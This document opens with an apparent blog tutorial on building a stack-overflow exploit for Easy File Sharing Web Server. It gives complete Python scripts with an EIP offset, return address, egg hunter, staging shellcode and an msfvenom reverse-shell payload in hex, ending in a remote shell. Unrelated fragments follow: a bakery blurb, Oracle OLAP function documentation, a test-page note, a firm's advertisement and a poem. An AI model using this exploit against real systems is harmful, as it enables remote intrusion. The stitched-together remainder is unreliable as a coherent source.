In the following post I will conver very basic Windows x86 Stack overflow exploit development. This is a continuation of our Fuzzing post, and the starting point will be the PoC covered then.
So, to recap: We have fuzzed the Easy file sharing Web server by creating a custom fuzzing template for SPIKE. This resulted in the “discovery” of a nice buffer overflow present in the sendmail.ghp service, accessible publicly without any authentication. After fuzzing and playing with the buffer length, we found the buffer overflow can be triggered by posting a sequence of 4144 A’s. From this we created a skeleton PoC that is enough to crash and cause a DoS in the application, but what fun is that?
Lets attach the Easy file server to immunity and take a look at the registers during normal execution. Run the EFS.exe program, then attach it to immunity by navigating to file > attach and selecting the EFS process from the list. Then click attached.
Once attached, the program execution will be paused. To resume, click on the play button in immunity’s toolbar. At this point lets take a look at the registers and memory. Mine looks as follows:
So whats going on here? dont let the debugger intimidate you, for now lets look at the basics. The top left is the dissassembly window and it shows us the processor instructions. When a program is compiled, the compiler turns our C code into machine readable instructions. Our code is turned into a sequence of simple instructions that manipulate the registers of the CPU. These instructions are called Opcodes, and what we see in the dissassembly view is the hex representation of these instructions.
To the right of the dissassembly view we have a view of the CPU registers. For now, we will be interested in the general purpose registers, specifically the stack pointer (ESP), the Base pointer (EBP) and the instruction pointer (EIP). Generally when a function is called, a new stack frame is located at the current ESP location. The value of ESP is then moved into EBP (mov EBP, ESP) so that EBP = ESP. When parameters are passed to the function they are pushed onto the stack. Since the stack pointer always points to the top of the stack, pushing onto the stack causes ESP to grow towards a more negative address while the base pointer remains unmodified. This allows the program to refer to local function variables passed to the function as offsets of the base pointer. The EIP register is the most important register in exploit development.  The EIP holds the address of the instruction currently being executed by the CPU. Therefore, if we are able to take control of this register we could theoretically redirect the program’s execution flow to a part in memory. Now what if we could also place our own code in memory?
Below the register view we have our Stack view. ESP will always sit at top of the stack. Here we can see the status of our current stack, as well as previously called functions that remain on the stack. The stack can be modified by push/pop instructions. For Example, a PUSH EAX instruction will push the 4 bytes stored in EAX onto the stack (and cause the stack to grow by 4 bytes) while a POP EAX instruction will remove the last 4 bytes from the stack and “pop” them into EAX, therefore setting EAX’s value to this.
Lastly, below the dissassembly view we have the dump view. The dump view will show us the hex view of the instructions at a specified address. For example, if we right click on ESP and select follow in dump we will be able to see the instructions located at ESP and follow them in the dump.
Ok, with that out of the way, lets begin the fun stuff. Lets fire out PoC and see what we can learn from the debugger.
Our application crashed with an Access violation error. Lets take a look at the registers, specifically EIP. See something interesting? EIP has been overwritten by 41’s! Turns out that
\x41
is the hex representation of our ASCII A. We have just overflowed the buffer which has caused us to overwrite the instruction pointer. If you recall, the EIP is in charge of telling the program
what instruction to execute next. In this case the program crashed as it can not interpret any instructions located at 0x41414141
. But what if we supplied a valid address? Preferably with our own set of
instructions? Lets keep looking and see what else we can learn from the crash.
If we look at the stack pointer, we can see that we have also overwritten the memory pointed at by the stack pointer. If we take a close look, we realize that we have 56 bytes we control at ESP. While this is enough to get creative and write some shellcode, that is a topic for another post. Lets keep looking and seeing what else we have. If we scroll up the stack, we can see we have a much larger buffer right before ESP! This buffer certainly looks big enough to hold just about any code we want to execute. So, we have a 56 byte buffer pointed at by ESP, and a pretty much unrestricted buffer at lower memory addresses.
The easiest way to exploit this will be to use a multi stage payload. Essentially, we will use a small chunk of code at ESP that is smaller than 56 bytes to jump to our largely controlled buffer where we can execute any payload we want.
So, here is what we need to do:
- Bad Char Check
- Verify control of EIP
- Redirect execution flow to ESP
- Use a small first stage payload to redirect execution into our big buffer
- Choose second stage payload
- R00t dance.
1) Bad Char Check
Ok, so now that we have the game plan, how do we execute it? First, we need to check for bad chars.
Sometimes you will find that there are certain characters that will either mutate or truncate your payloads. Finding these characters at the beginning stages of exploit
development will save us a lot of time when troubleshooting why a 400 byte payload isnt working. The most common of these characters is the null byte, or x00
. Consider the following 2 lines:
char buf[30];
strcpy(buf,argv[1]);
Here we are declaring a 30 byte buffer to hold some chars, and the strcpy function is passing a user supplied argument into this buffer without any form of size checks. Basically, the function will copy all the user supplied data until a null byte is encountered, which marks the end of the input string. A buffer overflow occurs when an argument larger than the allocated buffer is supplied. This also explains why having a null byte in your code can mess things up. This character is what marks the end of the supplied string, so having it in your payload (or EIP address) can truncate our payload and therefore crash the target.
The most straightforward way to check for bad characters is to send a buffer from x01
to xff
, then inspecting memory to see if all our characters made it onto the stack.
Modify our PoC to look like below:
#!/usr/bin/python
import socket
import sys
if len(sys.argv) < 2:
print "Usage: python EFS.py [IP]\n"
print "i.e python EFS.py <IP_ADDRESS>\n"
exit(1)
EIP= "B"*4
BadChar = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
crash = BadChar + "A"*(4072-len(BadChar))+EIP+"C"*(4144-4076)
buffer ="POST /sendmail.ghp HTTP/1.1 \r\n"
buffer +="Email=" + crash + "&getPassword=Get+Password"
EFS = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
EFS.connect((sys.argv[1], 80))
EFS.send(buffer)
EFS.close()
When we run it, our application crashes, and immediately we can see that our EIP contains \x43\x43\x42\x42
. Seeing as the payload lengths are the same, we can already see some characters got mangled in the stack.
If we examine the stack we can see that \x25\x26\x27\x2b
where either ommitted or replaced by another character. Lets take these out of our bad char buffer and send the payload again.
Great, examining our buffer we see that once again our EIP is overwritten with B’s and our stack contains all the characters sent.
2) Verify Control of EIP
Back to the original exploit, We have seen we overwrote EIP with A’s, But we have also sent 4144 A’s, Any of which could be the ones that overwrote our instruction pointer. To help us identify the exact offset, we are going to use metasploit’s pattern create. Basically, this will create a unique string of 4144 bytes in length. We can then replace our payload with this string, and use metasploit’s pattern offset to identify the exact offset of our EIP.
To generate a string, use the following command:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 4144
Now copy and paste the output into our exploit, replacing the A’s.
Restart the EFS server and launch the exploit once again. You should see the following:
We see EIP is now overwritten with 66463766
. To determine the offset, we will use the following command:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 4144 -q 66463766
Which tells us the offset is 4072. Lets verify this in our exploit. Replace the payload string with 4072 instances of A plus four instances of B and fill the remainder with C’s. Our exploit should look like the following:
#!/usr/bin/python
import socket
import sys
if len(sys.argv) < 2:
print "Usage: python EFS.py [IP]\n"
print "i.e python EFS.py <IP_ADDRESS>\n"
exit(1)
crash = "A"*4072+"B"*4+"C"*(4144-4076)
buffer ="POST /sendmail.ghp HTTP/1.1 \r\n"
buffer +="Email=" + crash + "&getPassword=Get+Password"
EFS = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
EFS.connect((sys.argv[1], 80))
EFS.send(buffer)
EFS.close()
Lets restart the server, attach it to immunity and fire off our exploit. Bingo! EIP has been overwritten with B’s. We now have the Offset for EIP, time to redirect execution flow.
3) Redirect Execution flow to ESP
Now that we have control of EIP we need to redirect exection flow. This will always depend on the program being exploited, the buffers available and the state of the registers. Unfortunately not all overflows are exploitable, so keep this in mind when working on other exploits. For this particular exploit, we notice that we have control of the buffer at ESP, so it makes sence to redirect execution flow there. The way we will do this is by finding the address of a “JMP ESP” or “CALL ESP” instruction, which will tell the program to go to the address of ESP for the next instruction.
Three ways we can accomplish this is by finding the address of a JMP ESP, CALL ESP or PUSH ESP,RET. The JMP and the CALL work pretty much as the name suggests; JMP will completely redirect execution to ESP, while CALL pushes the address of the EIP onto the stack and redirects execution to ESP. Upon encountering a RET instruction, it will go back to the spot before the jump. PUSH ESP, RET is a little different. The PUSH ESP will push the address of ESP onto the stack, while the RET will load this value into EIP and redirect execution flow there.
To find an address we can use, we will use Corelan’s excellent mona script for immunity. In the command box at the bottom of the debugger, we will use the following command:
!mona jmp -r esp
Mona will not only go through the loaded modules and supply some addresses we can use, but it will also show us what memory protections are enabled in each module. For the purposes of this blog post we will choose a return address from a DLL with no memory protections (we will cover these a little later). The last address presented has no memory protections enabled, is from one of the server’s dll’s, and offers an address free of bad chars. Modify our skeleton exploit to look like the following:
#!/usr/bin/python
import socket
import sys
if len(sys.argv) < 2:
print "Usage: python EFS.py [IP]\n"
print "i.e python EFS.py <IP_ADDRESS>\n"
exit(1)
#push esp, ret 0x61c5203b
EIP= "\x3b\x20\xc5\x61"
crash = "A"*4072+EIP+"C"*(4144-4076)
buffer ="POST /sendmail.ghp HTTP/1.1 \r\n"
buffer +="Email=" + crash + "&getPassword=Get+Password"
EFS = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
EFS.connect((sys.argv[1], 80))
EFS.send(buffer)
EFS.close()
A few of you may have noticed the order in which I wrote the address for EIP. No, this is not a typo - The reason for writing the the address backwards has to do with the x86 architechture we are exploiting. x86 is little endian, which refers to the order in which the bytes are stored in memory. In little endian architechture, the least significant value (in this case 3b) is stored first. We will explore this a little more in the shellcode section of the blog.
Save the above exploit, but dont run it yet. This time we are going to follow the execution flow of our payload. To do this, lets place a breakpoint at the return address. We will do this by heading to the dissassembly window and right clicking anywhere. Select go to > Expression and input our return address. When the instruction shows up right click on it and toggle a break point. This will pause the program once execution hits this point.
After we run the exploit we see something interesting. Our program no longer crashes! instead, Our EIP has been overwriten which has redirected execution flow to our breakpoint, which has paused the program.
Now pay close attention to the stack. If we step through our program and execute the PUSH ESP, we will see the address of ESP being pushed onto the stack. Step through it again and we now see execution redirected to our stack of C’s! Now, the program will execute anything we place here instead of C’s.
4) Use a small first stage payload to redirect execution into our Big buffer.
Here is where it gets fun. We now have to choose our first stage payload. I am going to show two approaches which we will expand on in different posts.
4.1 - The Egg Hunter
The first approach we will discuss is using an egg hunter. An egg hunter is a piece of shellcode which will look through memory for our marker, or egg. Once it encounters this egg, it will redirect execution flow here and execute it. In later posts we will go over different egg hunters in depth, but for now we will use metasploit to help us generate one.
/usr/share/metasploit-framework/tools/exploit/egghunter.rb -b \x25\x26\x27\x2b -e r00t -f python
The b parameter denotes the bad chars. We need to define these so that metasploit knows which characters to avoid. The -e parameter is for our “egg”, or the signature that will mark the beginning of our second stage payload. Please note that this needs to be four bytes.
We modify our exploit as follows:
#!/usr/bin/python
import socket
import sys
if len(sys.argv) < 2:
print "Usage: python EFS.py [IP]\n"
print "i.e python EFS.py <IP_ADDRESS>\n"
exit(1)
#Bad Chars= \x25\x26\x27\x2b
#push esp, ret 0x61c5203b
EIP= "\x3b\x20\xc5\x61"
Egghunter = ""
Egghunter += "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c"
Egghunter += "\x05\x5a\x74\xef\xb8\x72\x30\x30\x74\x89\xd7\xaf\x75"
Egghunter += "\xea\xaf\x75\xe7\xff\xe7"
Stage1=Egghunter + "\xcc"*(52-len(Egghunter))
crash = "A"*4072+EIP+"\x90"*16+Stage1
buffer ="POST /sendmail.ghp HTTP/1.1 \r\n"
buffer +="Email=" + crash + "&getPassword=Get+Password"
EFS = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
EFS.connect((sys.argv[1], 80))
EFS.send(buffer)
EFS.close()
Now lets launch the exploit. The result is very anticlimatic - Nothing happened! Our program does not crash, but it also does not look to be doing anything. However if you open up the task manager, you will notice the CPU is running at 100% capacity. What is happening? Exactly what is supposed to be happening. Our EggHunter is looking through various pages of memory looking for our “Egg”, however as we have not included it anywhere it just keeps searching indefinitely.
To see the Egghunter working more clearly lets add our Egg somewhere. Modify the following lines as follows:
Stage2 = "r00tr00t"+"\xcc"*4064
crash = Stage2+EIP+"\x90"*16+Stage1
Now, if we launch the exploit again we will see the CPU spike, but rather than running indefinitely we see our program suddenly pause. What happened?
If we take a look at the dissassembly and register windows we will see that EIP is pointing at our \xcc which acts as INT3 breakpoint.
It has hit the breakpoint which if you notice we sent before our first stage shellcode. If we pay close attention to the eight bytes preceeding
the first INT3 instruction, we notice<PHONE_NUMBER>303074
, which is the hex equivalent of our r00tr00t signature! Our Egghunter has found the egg, and redirected execution flow to the bytes after our egg,
and executed out INT3 breakpoint which paused execution. From here on the only thing left to do is swap \xcc with some bind tcp shellcode and we will finally have access.
Before this, lets take a look at our second option for redirecting execution
4.2 - Writing Shellcode
Just as it was the case with the Egg hunter, We will cover writing shellcode much more in different posts. For now we will focus on the minimum and simplest shellcode needed to redirect execution flow.
The way we are going to achieve this is to jump back into our stack. An msfvenom generated shell payload will be around 400 bytes, so if we place it right before our EIP address we will need to jump back around ~400 bytes. Our Stage1 payload where we will write the code is at ESP, so we will use this address as our starting point. We are going to use the accumulator register (EAX) to perform our arithmetic by setting it equal to ESP, substracting 400 bytes and redirecting execution flow to it. Keeping our 52 byte restriction and our bad char restriction in mind, The resulting shellcode will be:
"\x54\x58" #PUSH ESP, POP EAX --> This sets the value of EAX to ESP by pushing the address of ESP onto the stack and popping it into EAX.
"\x83\xE8\x7F" #SUB EAX, 7F --> This substracts 127 bytes from EAX
"\x83\xE8\x7F" #SUB EAX, 7F --> This substracts 127 bytes from EAX
"\x83\xE8\x7F" #SUB EAX, 7F --> This substracts 127 bytes from EAX
"\x83\xE8\x13" #SUB EAX, 13 --> This substracts 19 bytes from EAX
"\x50\x5C" #PUSH EAX #POP ESP --> This sets the value of ESP to EAX by pushing the address of EAX onto the stack and popping it into ESP.
"\xFF\xE0" #JMP EAX --> This redirects execution flow to EAX by jumping to it.
After cleaning up and placing some padding, Our exploit code should look as follows:
Buffer = "\x90"*3712
Shellcode = (
"\xcc"*351
)
Staging=(
"\x54\x58" #PUSH ESP #POP EAX
"\x83\xE8\x7F" #SUB EAX, 7C
"\x83\xE8\x7F" #SUB EAX, 7C
"\x83\xE8\x7F" #SUB EAX, 7C
"\x83\xE8\x13" #SUB EAX, 7C
"\x50\x5C" #PUSH EAX #POP ESP
"\xFF\xE0" #JMP EAX
)
Stage1 = Staging + "\x90"*34 # we add the additional 34 bytes to keep our 52 bytebuffer intact
Stage2=Buffer+Shell+"\xcc"*(363-len(Shell)) #our shell will be 351 bytes, so jumping back 359 bytes gives us 8 bytes of padding between our Shell and EIP
Padding="\x90"*16
crash = Stage2+EIP+Padding+Stage1
buffer ="POST /sendmail.ghp HTTP/1.1 \r\n"
buffer +="Email=" + crash + "&getPassword=Get+Password"
EFS = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
EFS.connect((sys.argv[1], 80))
EFS.send(buffer)
EFS.close()
Let’s set a breakpoint and run the exploit again. As you step through it, pay attention to the EAX and ESP registers. After we execute our jmp EAX, we can see that EIP was redirected to the buffer right before our shelcode. If we let it execute, we will see execution stop as soon as it reaches the INT3 instructions we sent in the shellode variable.
5) Choose second stage payload
With execution redirected in both cases, the last step is to choose our second stage payload and swap out our shellcode. The payload will depend on many different things, such as our buffer size, and our targets configuration. If we are breaching a target’s external perimieter, there will likely be a firewall in place. Opening up a port will most likely get flagged as malicious behavior, which may just crash the service and eliminate our chances of exploiting the target again. Even if the code executes succesfully, the port may remain blocked by a firewall at the perimeter which again would eliminate our chances of getting in.
A reverse shell is usually prefered. However, outbound connections may still be flagged as suspicious, or could also have connections to the destination port blocked. Consider what else is available. Is SSH or remote desktop enabled? is the service running as a privileged user? If so, perhaps adding a user will suffice. There will be times when pre-packaged shellcode such as that generated by metasploit will not work, forcing us to think creatively. Before launching your exploit against a production target, consider what a failed exploit will mean to your client and to the test. Replicate the target as closely as possible first in a lab, and only once you are absolutely certain of your targets configuration and reliability of your exploit launch it.
6) r00t dance
Lets generate a reverse shell payload with msfvenom, remembering to encode the payload and define our badchars. The command I used is the following:
msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=<IP_ADDRESS> LPORT=445 -e x86/shikata_ga_nai -b \x00\x25\x26\x27\x2b -f c
This resutls in a payload that is 351 bytes which will fit in the buffer we created in our shell exploit. My finished Shell code exploit will look like this:
#!/usr/bin/python
import socket
import sys
#Bad Chars= \x25\x26\x27\x2b\x00
#PUSH ESP, RET 0x61c5203b
EIP= "\x3b\x20\xc5\x61" #PUSH ESP, RET 0x61c5203b
if len(sys.argv) < 2:
print "Usage: python EFS.py [IP]\n"
print "i.e python EFS.py <IP_ADDRESS>\n"
exit(1)
Buffer = "\x90"*3712
#msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=<IP_ADDRESS> LPORT=445 -e x86/shikata_ga_nai -b \x00\x25\x26\x27\x2b -f c
Shell=( #352 bytes
"\xba\x20\xb3\xd2\x36\xdb\xd8\xd9\x74\x24\xf4\x5e\x33\xc9\xb1"
"\x52\x31\x56\x12\x03\x56\x12\x83\xce\x4f\x30\xc3\xf2\x58\x37"
"\x2c\x0a\x99\x58\xa4\xef\xa8\x58\xd2\x64\x9a\x68\x90\x28\x17"
"\x02\xf4\xd8\xac\x66\xd1\xef\x05\xcc\x07\xde\x96\x7d\x7b\x41"
"\x15\x7c\xa8\xa1\x24\x4f\xbd\xa0\x61\xb2\x4c\xf0\x3a\xb8\xe3"
"\xe4\x4f\xf4\x3f\x8f\x1c\x18\x38\x6c\xd4\x1b\x69\x23\x6e\x42"
"\xa9\xc2\xa3\xfe\xe0\xdc\xa0\x3b\xba\x57\x12\xb7\x3d\xb1\x6a"
"\x38\x91\xfc\x42\xcb\xeb\x39\x64\x34\x9e\x33\x96\xc9\x99\x80"
"\xe4\x15\x2f\x12\x4e\xdd\x97\xfe\x6e\x32\x41\x75\x7c\xff\x05"
"\xd1\x61\xfe\xca\x6a\x9d\x8b\xec\xbc\x17\xcf\xca\x18\x73\x8b"
"\x73\x39\xd9\x7a\x8b\x59\x82\x23\x29\x12\x2f\x37\x40\x79\x38"
"\xf4\x69\x81\xb8\x92\xfa\xf2\x8a\x3d\x51\x9c\xa6\xb6\x7f\x5b"
"\xc8\xec\x38\xf3\x37\x0f\x39\xda\xf3\x5b\x69\x74\xd5\xe3\xe2"
"\x84\xda\x31\xa4\xd4\x74\xea\x05\x84\x34\x5a\xee\xce\xba\x85"
"\x0e\xf1\x10\xae\xa5\x08\xf3\x11\x91\x2a\x02\xfa\xe0\x4a\x05"
"\x47\x6d\xac\x6f\xa7\x38\x67\x18\x5e\x61\xf3\xb9\x9f\xbf\x7e"
"\xf9\x14\x4c\x7f\xb4\xdc\x39\x93\x21\x2d\x74\xc9\xe4\x32\xa2"
"\x65\x6a\xa0\x29\x75\xe5\xd9\xe5\x22\xa2\x2c\xfc\xa6\x5e\x16"
"\x56\xd4\xa2\xce\x91\x5c\x79\x33\x1f\x5d\x0c\x0f\x3b\x4d\xc8"
"\x90\x07\x39\x84\xc6\xd1\x97\x62\xb1\x93\x41\x3d\x6e\x7a\x05"
"\xb8\x5c\xbd\x53\xc5\x88\x4b\xbb\x74\x65\x0a\xc4\xb9\xe1\x9a"
"\xbd\xa7\x91\x65\x14\x6c\xa1\x2f\x34\xc5\x2a\xf6\xad\x57\x37"
"\x09\x18\x9b\x4e\x8a\xa8\x64\xb5\x92\xd9\x61\xf1\x14\x32\x18"
"\x6a\xf1\x34\x8f\x8b\xd0\x90"
)
Staging=(
"\x54\x58" #PUSH ESP #POP EAX
"\x83\xE8\x7F" #SUB EAX, 7C
"\x83\xE8\x7F" #SUB EAX, 7C
"\x83\xE8\x7F" #SUB EAX, 7C
"\x83\xE8\x13" #SUB EAX, 7C
"\x50\x5C" #PUSH EAX #POP ESP
"\xFF\xE0" #JMP EAX
)
Stage1 = Staging + "\x90"*34
Stage2=Buffer+Shell+"\xcc"*(360-len(Shell))
Padding="\x90"*16
crash = Stage2+EIP+Padding+Stage1
buffer ="POST /sendmail.ghp HTTP/1.1 \r\n"
buffer +="Email=" + crash + "&getPassword=Get+Password"
EFS = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
EFS.connect((sys.argv[1], 80))
EFS.send(buffer)
EFS.close()
For the Egg Hunting exploit, my exploit looks as follows:
#!/usr/bin/python
import socket
import sys
if len(sys.argv) < 2:
print "Usage: python EFS.py [IP]\n"
print "i.e python EFS.py <IP_ADDRESS>\n"
exit(1)
#Bad Chars= \x25\x26\x27\x2b\x00
#push esp, ret 0x61c5203b
EIP= "\x3b\x20\xc5\x61"
Egghunter = ""
Egghunter += "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c"
Egghunter += "\x05\x5a\x74\xef\xb8\x72\x30\x30\x74\x89\xd7\xaf\x75"
Egghunter += "\xea\xaf\x75\xe7\xff\xe7"
Stage1=Egghunter + "\xcc"*(52-len(Egghunter))
Stage2 = ("r00tr00t"+ #"\xcc"*4064
"\xba\x20\xb3\xd2\x36\xdb\xd8\xd9\x74\x24\xf4\x5e\x33\xc9\xb1"
"\x52\x31\x56\x12\x03\x56\x12\x83\xce\x4f\x30\xc3\xf2\x58\x37"
"\x2c\x0a\x99\x58\xa4\xef\xa8\x58\xd2\x64\x9a\x68\x90\x28\x17"
"\x02\xf4\xd8\xac\x66\xd1\xef\x05\xcc\x07\xde\x96\x7d\x7b\x41"
"\x15\x7c\xa8\xa1\x24\x4f\xbd\xa0\x61\xb2\x4c\xf0\x3a\xb8\xe3"
"\xe4\x4f\xf4\x3f\x8f\x1c\x18\x38\x6c\xd4\x1b\x69\x23\x6e\x42"
"\xa9\xc2\xa3\xfe\xe0\xdc\xa0\x3b\xba\x57\x12\xb7\x3d\xb1\x6a"
"\x38\x91\xfc\x42\xcb\xeb\x39\x64\x34\x9e\x33\x96\xc9\x99\x80"
"\xe4\x15\x2f\x12\x4e\xdd\x97\xfe\x6e\x32\x41\x75\x7c\xff\x05"
"\xd1\x61\xfe\xca\x6a\x9d\x8b\xec\xbc\x17\xcf\xca\x18\x73\x8b"
"\x73\x39\xd9\x7a\x8b\x59\x82\x23\x29\x12\x2f\x37\x40\x79\x38"
"\xf4\x69\x81\xb8\x92\xfa\xf2\x8a\x3d\x51\x9c\xa6\xb6\x7f\x5b"
"\xc8\xec\x38\xf3\x37\x0f\x39\xda\xf3\x5b\x69\x74\xd5\xe3\xe2"
"\x84\xda\x31\xa4\xd4\x74\xea\x05\x84\x34\x5a\xee\xce\xba\x85"
"\x0e\xf1\x10\xae\xa5\x08\xf3\x11\x91\x2a\x02\xfa\xe0\x4a\x05"
"\x47\x6d\xac\x6f\xa7\x38\x67\x18\x5e\x61\xf3\xb9\x9f\xbf\x7e"
"\xf9\x14\x4c\x7f\xb4\xdc\x39\x93\x21\x2d\x74\xc9\xe4\x32\xa2"
"\x65\x6a\xa0\x29\x75\xe5\xd9\xe5\x22\xa2\x2c\xfc\xa6\x5e\x16"
"\x56\xd4\xa2\xce\x91\x5c\x79\x33\x1f\x5d\x0c\x0f\x3b\x4d\xc8"
"\x90\x07\x39\x84\xc6\xd1\x97\x62\xb1\x93\x41\x3d\x6e\x7a\x05"
"\xb8\x5c\xbd\x53\xc5\x88\x4b\xbb\x74\x65\x0a\xc4\xb9\xe1\x9a"
"\xbd\xa7\x91\x65\x14\x6c\xa1\x2f\x34\xc5\x2a\xf6\xad\x57\x37"
"\x09\x18\x9b\x4e\x8a\xa8\x64\xb5\x92\xd9\x61\xf1\x14\x32\x18"
"\x6a\xf1\x34\x8f\x8b\xd0"
)
crash = Stage2+"\x90"*(4072-len(Stage2))+EIP+"\x90"*16+Stage1
buffer ="POST /sendmail.ghp HTTP/1.1 \r\n"
buffer +="Email=" + crash + "&getPassword=Get+Password"
EFS = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
EFS.connect((sys.argv[1], 80))
EFS.send(buffer)
EFS.close()
In both cases firing this at our development Windows 7 box results in a reverse Shell!


About Us
We are a locally owned family business. We love baking
cookies just as much as we love salmon. We put our two passions together and Viola!
Location: Fish way dr Seattle, Wa 98101
Hours: 6am to 7pm (Mon-Fri)
Hours: 7am to 5pm (Sat)
Closed - Sunday. Click Sales


The following tables shows you the flight schedule for all our operated flights.
Click the Flight Name to find more information.


LEAD_VARIANCE_PERCENT
returns the percent difference between values for the current time period and the offset period.
The same data type as the value expression
LEAD_VARIANCE_PERCENT (lead_args) OVER (lead_clause)
lead_args::=
expression, offset [, {default_expression | CLOSEST} ]
lead_clause::=
[ {DIMENSION dimension_id | HIERARCHY hierarchy_id} ] [ [BY] { LEVEL | PARENT | GREGORIAN {YEAR | QUARTER | MONTH | WEEK | DAY} | ANCESTOR AT { DIMENSION LEVEL dim_level_id | HIERARCHY LEVEL hier_level_id } } [POSITION FROM {BEGINNING | END}] ]
A dimensional expression whose values you want to calculate.
A numeric expression for the number of periods to count forward from the current time period.
The value returned when offset
does not identify a valid period. This clause is either an expression of any data type or the CLOSEST
keyword for the closest match. The closest match is the first member when counting forward.
The Time dimension over which the lead is calculated.
The hierarchy over which the lead is calculated. Otherwise, the default hierarchy for dimension_id
is used.
The name of a level of dimension_id
.
The name of a level of hierarchy_id
.
The BY subclause identifies the range of time periods used when counting the offset. Following are descriptions of the keywords:
| Offset Unit | Description |
|---|---|
LEVEL |
The member at the same level offset periods after the current member. (Default) |
PARENT |
The member at the same level with the same parent offset periods after the current member. |
GREGORIAN YEAR |
The period at the same level with a start date exactly offset years after the start date of the current period. |
GREGORIAN QUARTER |
The period at the same level with a start date exactly offset quarters after the start date of the current period. |
GREGORIAN MONTH |
The period at the same level with a start date exactly offset months after the start date of the current period. |
GREGORIAN WEEK |
The period at the same level with a start date exactly offset weeks after the start date of the current period. |
GREGORIAN DAY |
The period at the same level with a start date exactly offset days after the start date of the current period. |
ANCESTOR |
The period at the same level as the current period and whose ancestor is offset positions after the ancestor of the current period. |
This calculation returns the percent difference between the current value and the value of the next time period based on calendar quarter. The sample output from this calculation appears in the Percent column.
LEAD_VARIANCE_PERCENT (GLOBAL.UNITS_CUBE.UNITS, 1, CLOSEST) OVER (DIMENSION GLOBAL.TIME BY ANCESTOR AT DIMENSION LEVEL GLOBAL.TIME.CALENDAR_QUARTER)
| Time | Parent | Units | Next Qtr | Difference | Percent |
|---|---|---|---|---|---|
2005 |
TOTAL | 565718 | -- | -- | -- |
Q1-05 |
CY2005 | 143607 | 138096 | 5511 | .04 |
Q2-05 |
CY2005 | 138096 | 138953 | -857 | -.01 |
Q3-05 |
CY2005 | 138953 | 145062 | -6109 | -.04 |
Q4-05 |
CY2005 | 145062 | 146819 | -1757 | -.01 |
Jan-05 |
CY2005.Q1 | 50098 | 40223 | 9875 | .25 |
Feb-05 |
CY2005.Q1 | 43990 | 45477 | -1487 | -.03 |
Mar-05 |
CY2005.Q1 | 49519 | 52396 | -2877 | -.05 |
Apr-05 |
CY2005.Q2 | 40223 | 45595 | -5372 | -.12 |
May-05 |
CY2005.Q2 | 45477 | 46882 | -1405 | -.03 |
Jun-05 |
CY2005.Q2 | 52396 | 46476 | 5920 | .13 |
Jul-05 |
CY2005.Q3 | 45595 | 47476 | -1881 | -.04 |
Aug-05 |
CY2005.Q3 | 46882 | 47496 | -614 | -.01 |
Sep-05 |
CY2005.Q3 | 46476 | 50090 | -3614 | -.07 |
Oct-05 |
CY2005.Q4 | 47476 | 47776 | -300 | -.01 |
Nov-05 |
CY2005.Q4 | 47496 | 47695 | -199 | 0 |
Dec-05 |
CY2005.Q4 | 50090 | 51348 | -1258 | -.02 |


This page is not intended to be a usable example, it's for testing. This page tests the abstraction that we define as a Script Controller. The optional editor and selector allow the user to run javaScript that will control simulated (or real radio transceivers TODO).
Try right mouse clicking and viewing the source. It's very small.
stuff in text in span more test not in span


Established in 2016, Dipesh Jain & Co. is a Corporate Secretarial Services Firm offering solutions for Corporate Compliances. Dipesh Jain & Co. is registered as a Practicing Company Secretary Firm with The Institute of Company Secretaries of India.
The firm is dedicated to provide equal services to all the clients irrespective of the size of client’s business. Compliance has been an important part of the business since it ensures proper functioning of the business & guarantees the various stakeholders that the business is in proper hands.
View ProfileReady to form your company with us? That's great! Give us a call or send us an email and we will get back to you as soon as possible!
Dipesh Jain & Co Company Secretaries 166-9/10 | Jawahar Nagar Road No. 2 | Goregaon (West) Mumbai - 400104


2 Poems by Kenyatta JP Garcia
Kenyatta JP Garcia
In Which To Sleep
who can say what nature intended? everything artificial had its roots in something seen as more natural. what course nature takes is its to choose and what will become of the artificial will always be made room for in nature.
